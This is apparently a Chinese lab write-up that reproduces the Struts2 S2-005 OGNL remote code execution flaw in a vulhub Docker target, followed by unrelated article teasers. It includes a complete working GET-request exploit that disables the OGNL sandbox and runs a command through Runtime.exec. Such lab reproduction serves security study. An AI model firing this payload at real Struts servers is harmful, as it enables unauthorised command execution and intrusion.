vulhub-struts2-S2-005 远程代码执行漏洞复现

news2024/11/25 2:24:12

漏洞描述

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御

  • S2-003 后官方增加了安全模式(沙盒)

  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

是把锁钥匙给插在了锁头上

漏洞搭建

docker-compose build
docker-compose up -d

搭建成功,访问 靶场

 漏洞复现

通过burp suite抓取数据包,并带入poc

 poc:

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1

 

在/tmp目录下创建了一个success。

验证poc是否成功

docker exec -it d359ba3d2739 /bin/bash

 复现成功

 

晚来天欲雪,能饮一杯无

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/663235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

优维低代码实践:面包屑配置以及菜单配置

优维低代码技术专栏,是一个全新的、技术为主的专栏,由优维技术委员会成员执笔,基于优维7年低代码技术研发及运维成果,主要介绍低代码相关的技术原理及架构逻辑,目的是给广大运维人提供一个技术交流与学习的平台。 优维…

Pyinstaller打包Sklearn(即scikit-learn)+Pyqt5代码报错,程序无法正常运行

前言 在网上看了大部分解决办法都不能解决我的问题,后面自己摸索之后,解决问题,记录如下。 提供一篇大佬文章,一般能解决大部分问题: https://blog.csdn.net/u012219045/article/details/115397646 建议先看我的文章…

Java复习0619

关键字: static Static:静态的,随着类的加载而加载、执行。static用来修饰: 属性、方法、代码块、内部类熟悉: static修饰的类变量、类方法与不使用static修饰的区别。 类变量: 类的生命周期内,只有一个。被类的多个实例共享。 掌握: 我们遇…

企业备份和恢复软件推荐

数据备份是在发生灾难或事故时通过将数据从一个位置复制到另一个位置来保护数据的过程。数据是任何组织的生命线,丢失数据会导致严重损坏并中断业务运营。96% 的用户至少经历过数据丢失的主要原因之一:人为错误、硬盘驱动器故障、断电、火灾和自然灾害。…

ES(Elasticsearch)和Kibana(Windows)安装

安装Elasticsearch和Kibana 安装Elasticsearch过程 首先需要到官网下载安装包 注意:要下载对应的版本,如果下载最新版而且jdk是1.8版本的话,会出现warning: ignoring JAVA_HOMEC:\Program Files\Java\jdk1.8.0_191; using bundled JDK这样…

Git本地仓库使用

说明:Git是版本控制和协同开发的工具 下载Git 第一步:下载 在官网(https://git-scm.com/download/win),选择自己的版本自行下载 第二步:安装 下载下来后,使用默认设置,不要改动任…

Redis6之配置文件与发布订阅

配置文件 ################################### NETWORK ############################## # 指定 redis 只接收来自于该IP地址的请求,如果不进行设置,那么将处理所有请求 bind 127.0.0.1#是否开启保护模式,默认开启。要是配置里没有指定b…

Java和bean(VO)、dao、Servlet、jsp的综合总结复习

学到这里,差不多,可以自主完成一个简单的系统了。所以接下来需要总结,然后设计一个简单的系统。分别使用Java和Java Web来实现。(目标:实现简单的购物系统) 要求:能注册,并登录。登…

【python】四舍五入保留N位小数,截断保留小数

目录 一.环境 二.适用场景 三.具体方法代码及描述 1.方法一:numpy-around()方法,四舍五入 2.方法二:字符串格式化(有两种方式,均为四舍五入)【推荐】 1)%.4f 法 2) {:.4f} 法 3.方法三…

QT入门基础知识

什么是QT QT是一个跨平台的C图像用户界面应用程序框架QT在1991年由奇趣科技开发QT的优点 跨平台,几乎支持所有平台接口简单,容易上手一定程度上简化了内存回收机制有很好的社区氛围可以进行嵌入式开发 QWidget QT注意事项 命名规范 类名 首字母大写,单…

kakfa 常见错误(长期更新)

kafka版本 2.13-3.40 一、消费者相关1.1 消费组1.1.1 查看消费组命令找不到消费组 1.2 主题1.2.1 kafka默认主题_consumer_offsets 不小心删除 二、发布者相关三、Spring Boot连接相关3.1 消费者相关3.1.1 连接报错3.1.1.2 消费报错 一、消费者相关 1.1 消费组 1.1.1 查看消费…

vue中Cascader 级联选择器实现

<template> <div style"padding-left:20px;"> <!-- 添加或修改 --> <el-dialog :title"title" :visible.sync"open" width"500px" append-to-body> <el-form ref"form" :model"form"…

二分类结局变量Logistic回归临床模型预测—— 模型评价(二)

本节讲的是二分类结局变量的临床模型预测,与之前讲的Cox回归不同,https://lijingxian19961016.blog.csdn.net/article/details/124088364https://lijingxian19961016.blog.csdn.net/article/details/124088364https://lijingxian19961016.blog.csdn.net/article/details/1240…

如何运行一个 SSM 项目以及解决 JDBC 连接数据库遇到的问题(已解决)

文章目录 &#x1f4cb;前言&#x1f3af;运行与配置&#x1f3af;报错与解决&#x1f9e9;问题分析&#x1f9e9;解决过程 &#x1f3af;知识点补充&#x1f9e9;关于 com.mysql.jdbc.Driver 和 com.mysql.cj.jdbc.Driver 的区别 &#x1f4dd;最后 &#x1f4cb;前言 这篇文…

【严重】GeoServer 存在 sql 注入漏洞(POC已公开)

漏洞描述 GeoServer是一款开源地图服务器&#xff0c;主要用于发布、共享和处理各种地理空间数据。 在GeoServer 的受影响版本中由于未对用户传入的 CQL_FILTER参数进行安全校验&#xff0c;在以数据库作为数据存储时&#xff0c;攻击者可构造攻击语句&#xff0c;绕过GeoSer…

Maven(三):Maven的组成详解

文章目录 坐标和依赖坐标详解依赖配置依赖范围传递性依赖依赖调节可选依赖优化排除依赖归类依赖优化依赖 仓库本地仓库远程仓库仓库镜像常用搜索地址 生命周期与插件三套生命周期clean生命周期default生命周期site生命周期 插件 聚合与继承更加灵活的构建常见问题使用jdk来运行…

使用UglifyJS实现一条指令打包发布项目实例

在前端页面开发中&#xff0c;使用Vue、Angular、React等框架构建的项目通常都会自动配置集成相关代码压缩发布的工具&#xff0c;开发者只需要执行指定命令即可完成项目的整体压缩发布操作。对于没有使用框架的项目&#xff0c;需要开发者手动配置使用相关工具完成对应操作&am…

【OBS】SpringBoot + Vue + el-upload 通过临时 URL 上传文件到 OBS

华为云OBS的官方文档&#xff08;链接&#xff1a;https://support.huaweicloud.com/sdk-java-devg-obs/obs_21_0901.html#section1&#xff09;中关于上传文件的内容&#xff0c;只提供了使用JAVA获取临时上传链接&#xff0c;并使用JAVA创建请求上传纯文本的方法。想要把这部…

离线分析fsimage文件进行数据深度分析

以离线分析FsImage文件进行数据深度分析 整个方案的基本架构&#xff1a; FsImage文件时HDFS存放在NameNode中的镜像文件&#xff0c;里面包括了整个HDFS集群的目录和文件信息&#xff0c;(类似于一个索引目录部分数据的文件)&#xff0c;而且HDFS提供了命令可以将FsImage文件…

【严重】VMware Aria Operations for Networks 远程代码执行漏洞(存在POC)

漏洞描述 VMware Aria Operations for Networks (前名为vRealize Network Insight)是 VMware 公司提供的一款网络可视性和分析工具&#xff0c;用于优化网络性能或管理各种VMware和Kubernetes部署。 VMware Aria Operations for Networks 6.x版本中由于 createSupportBundle…